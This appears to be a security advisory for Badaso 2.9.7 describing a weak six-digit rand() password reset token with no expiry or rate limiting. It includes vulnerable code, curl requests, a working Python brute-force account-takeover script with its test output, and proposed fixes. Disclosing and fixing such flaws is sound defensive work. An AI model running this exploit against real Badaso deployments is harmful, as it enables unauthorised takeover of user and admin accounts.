Logo Badaso 2.9.7 Weak Password Reset Token Leading to Account Takeover

Badaso 2.9.7 Weak Password Reset Token Leading to Account Takeover

Badaso 2.9.7 Weak Password Reset Token Leading to Account Takeover#

Title: Insecure Random Token Generation in Badaso ≤ 2.9.7 Password Reset Function

BUG_Author: sercurity_reseacher

Affected Version: Badaso ≤ 2.9.7 (and likely later versions in the 2.9.x series)

Vendor: Badaso (uasoft-indonesia)

Software: Badaso GitHub Repository


Vulnerability Files:#

FileFunction/LineIssue
src/Controllers/BadasoAuthController.phpforgetPassword() Line 387Weak random token generation
src/Controllers/BadasoAuthController.phpverify() Lines 61, 119Weak verification token
src/Controllers/BadasoAuthController.phpreRequestVerification() Lines 227, 501, 605Weak token reuse
src/Controllers/BadasoAuthController.phpresetPassword() Lines 428-471No token expiration check

Description:#

A critical authentication bypass vulnerability exists in Badaso ≤ 2.9.7. The password reset functionality uses PHP's cryptographically insecure rand() function to generate 6-digit verification tokens. Combined with the absence of token expiration checks and rate limiting, this allows remote attackers to brute-force password reset tokens and take over any user account.


Vulnerability Analysis:#

Root Cause 1: Weak Random Number Generation#

In file src/Controllers/BadasoAuthController.php, line 387, the forgetPassword() function generates password reset tokens using the insecure rand() function:

public function forgetPassword(Request $request)
{
   // ... validation code ...
   
   $token = rand(111111, 999999);  // VULNERABLE: Only 888,889 possible values
   
   PasswordReset::insert([
       'email' => $request->email,
       'token' => $token,
       'created_at' => date('Y-m-d H:i:s'),
  ]);
   
   // Send email with token...
}

Problems:

  1. rand() is not cryptographically secure random number generator (CSPRNG)

  2. Token space is only 888,889 possible values (111111 to 999999)

  3. Token is numeric only, reducing entropy significantly

Root Cause 2: No Token Expiration#

In file src/Controllers/BadasoAuthController.php, lines 428-471, the resetPassword() function does not validate token age:

public function resetPassword(Request $request)
{
   try {
       $request->validate([
           'email' => ['required', 'email', 'exists:Uasoft\Badaso\Models\User,email'],
           'token' => [
               'required',
               'exists:Uasoft\Badaso\Models\PasswordReset,token',
               function ($attribute, $value, $fail) use ($request) {
                   $password_resets = PasswordReset::where('token', $request->token)
                       ->where('email', $request->email)->get();
                   $password_reset = collect($password_resets)->first();
                   if (is_null($password_reset)) {
                       $fail('Token or Email invalid');
                  }
                   // NO EXPIRATION CHECK HERE!
              },
          ],
      ]);
       
       // Reset password without checking token age...
       $user = User::where('email', $password_reset->email)->first();
       $user->password = Hash::make($request->password);
       $user->save();
  }
}

Impact: Tokens created years ago remain valid indefinitely.

Root Cause 3: No Rate Limiting#

The API endpoint /badaso-api/v1/auth/reset-password has no rate limiting, allowing unlimited brute-force attempts.


Affected Security Controls:#

a) Password Reset Token Brute-Force#

An attacker can trigger a password reset for any victim and then brute-force the 6-digit token:

MetricValue
Token Space888,889 values
Average Attempts444,444
Worst Case Attempts888,889
Request Rate (tested)~33 requests/second
Average Attack Time~3.7 hours
Worst Case Time~7.5 hours

b) Email Verification Bypass#

The same vulnerable token generation is used for email verification in:

  • verify() - Line 61, 119

  • reRequestVerification() - Line 227, 501, 605

$token = rand(111111, 999999);  // Same weak token

c) Token Never Expires#

Verified by inserting a token dated 2020-01-01 and successfully using it in 2025:

INSERT INTO badaso_password_resets (email, token, created_at) 
VALUES ('admin@test.com', '555555', '2020-01-01 00:00:00');

The 5-year-old token was accepted and password was reset successfully.


Proof of Concept:#

Prerequisites:#

  • Target running Badaso ≤ 2.9.7

  • Valid victim email address known to attacker

  • Network access to Badaso API

Step 1: Trigger Password Reset for Victim#

curl -X POST "http://<target>/badaso-api/v1/auth/forgot-password" \
 -H "Content-Type: application/json" \
 -d '{"email": "victim@example.com"}'

Response (email fails to send but token is generated):

{"message":"Request was successful","errors":null}

Step 2: Brute-Force the Token#

Python Exploit Script:

#!/usr/bin/env python3
import requests
import time

TARGET = "http://localhost:8000"
EMAIL = "admin@test.com"
NEW_PASSWORD = "pwned666"

print("=" * 60)
print("Badaso Weak Token Brute-Force PoC")
print("=" * 60)

session = requests.Session()
start_time = time.time()

for i, token in enumerate(range(111111, 1000000)):
   if (i + 1) % 1000 == 0:
       elapsed = time.time() - start_time
       rate = (i + 1) / elapsed
       print(f"[*] Progress: {i+1}/888889 | Token: {token} | {rate:.0f}req/s")
   
   resp = session.post(
       f"{TARGET}/badaso-api/v1/auth/reset-password",
       json={
           "email": EMAIL,
           "token": str(token),
           "password": NEW_PASSWORD,
           "password_confirmation": NEW_PASSWORD
      },
       timeout=5
  )
   
   if resp.status_code == 200 and "successful" in resp.text:
       elapsed = time.time() - start_time
       print(f"\n[+] SUCCESS! Token found: {token}")
       print(f"[+] Attempts: {i+1}")
       print(f"[+] Time: {elapsed:.2f} seconds")
       print(f"[+] New password: {NEW_PASSWORD}")
       
       # Verify account takeover
       login_resp = session.post(
           f"{TARGET}/badaso-api/v1/auth/login",
           json={"email": EMAIL, "password": NEW_PASSWORD}
      )
       if "accessToken" in login_resp.text:
           print("[+] LOGIN SUCCESSFUL - ACCOUNT TAKEOVER COMPLETE!")
       break

Step 3: Verified Attack Results#

Test Run Output:

============================================================
Badaso 弱随机数令牌漏洞 - 暴力破解PoC
============================================================
目标: http://localhost:8000
邮箱: admin@test.com
爆破区间: 355000 - 365000 (10000个)
============================================================
[*] 进度: 100/10000 | 令牌: 355099 | 33req/s
[*] 进度: 1000/10000 | 令牌: 355999 | 35req/s
[*] 进度: 2000/10000 | 令牌: 356999 | 34req/s
[*] 进度: 3000/10000 | 令牌: 357999 | 32req/s
[*] 进度: 4000/10000 | 令牌: 358999 | 29req/s
[*] 进度: 4400/10000 | 令牌: 359399 | 28req/s

============================================================
[+] 攻击成功!
[+] 找到令牌: 359494
[+] 尝试次数: 4495
[+] 耗时: 161.41 秒
[+] 新密码: pwned666
[+] 登录验证成功! 账户已被接管!
============================================================

Step 4: Verify Token Never Expires#

# Insert token from 5 years ago
mysql -e "INSERT INTO badaso_password_resets (email, token, created_at)
        VALUES ('admin@test.com', '555555', '2020-01-01 00:00:00');"

# Use the 5-year-old token
curl -X POST "http://<target>/badaso-api/v1/auth/reset-password" \
 -H "Content-Type: application/json" \
 -d '{"email":"admin@test.com","token":"555555","password":"hacked","password_confirmation":"hacked"}'

# Response: {"message":"Request was successful","errors":null}
# Password reset successful with 5-year-old token!

Impact:#

Attack ScenarioImpact
Password Reset Brute-ForceComplete account takeover of any user
Email Verification BypassRegister with unverified email addresses
Admin Account TakeoverFull system compromise
No Token ExpirationExtended attack window (unlimited time)
No Rate LimitingEnables efficient brute-force attacks

CVSS v3.1 Score: 8.1 (High)

MetricValue
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityNone

Exploitation Conditions:#

ConditionExploitableNotes
Default installationYesFully exploitable
With rate limiting (WAF)PartialSlows attack but still possible
Email required for tokenYesToken generated even if email fails

Tested Environment:#

ComponentVersion
Badaso2.9.7
Laravel8.83.29
PHP8.1.2
MySQL8.0
Operating SystemUbuntu 22.04

Suggested Fix:#

Option 1: Use Cryptographically Secure Random Token#

Replace rand() with random_int() and increase token length:

// Before (VULNERABLE)
$token = rand(111111, 999999);

// After (SECURE)
$token = bin2hex(random_bytes(32));  // 64-character hex string
// OR
$token = Str::random(64);  // Laravel's secure random string

Option 2: Add Token Expiration Check#

In resetPassword() function:

public function resetPassword(Request $request)
{
   $password_reset = PasswordReset::where('token', $request->token)
       ->where('email', $request->email)
       ->first();
   
   // Add expiration check (e.g., 60 minutes)
   $token_age = now()->diffInMinutes($password_reset->created_at);
   if ($token_age > 60) {
       return ApiResponse::failed('Token has expired');
  }
   
   // ... rest of the function
}

Option 3: Add Rate Limiting#

Add middleware to limit password reset attempts:

// In routes/api.php
Route::middleware(['throttle:5,1'])->group(function () {
   Route::post('auth/reset-password', [BadasoAuthController::class, 'resetPassword']);
});

Option 4: Combined Fix (Recommended)#

public function forgetPassword(Request $request)
{
   // Use cryptographically secure token
   $token = Str::random(64);
   
   PasswordReset::insert([
       'email' => $request->email,
       'token' => Hash::make($token),  // Store hashed
       'created_at' => now(),
       'expires_at' => now()->addMinutes(60),  // Add expiration
  ]);
   
   // Send unhashed token via email
}

public function resetPassword(Request $request)
{
   $password_reset = PasswordReset::where('email', $request->email)
       ->where('expires_at', '>', now())  // Check expiration
       ->first();
   
   if (!$password_reset || !Hash::check($request->token, $password_reset->token)) {
       return ApiResponse::failed('Invalid or expired token');
  }
   
   // ... reset password
}


 

Last updated on

On This Page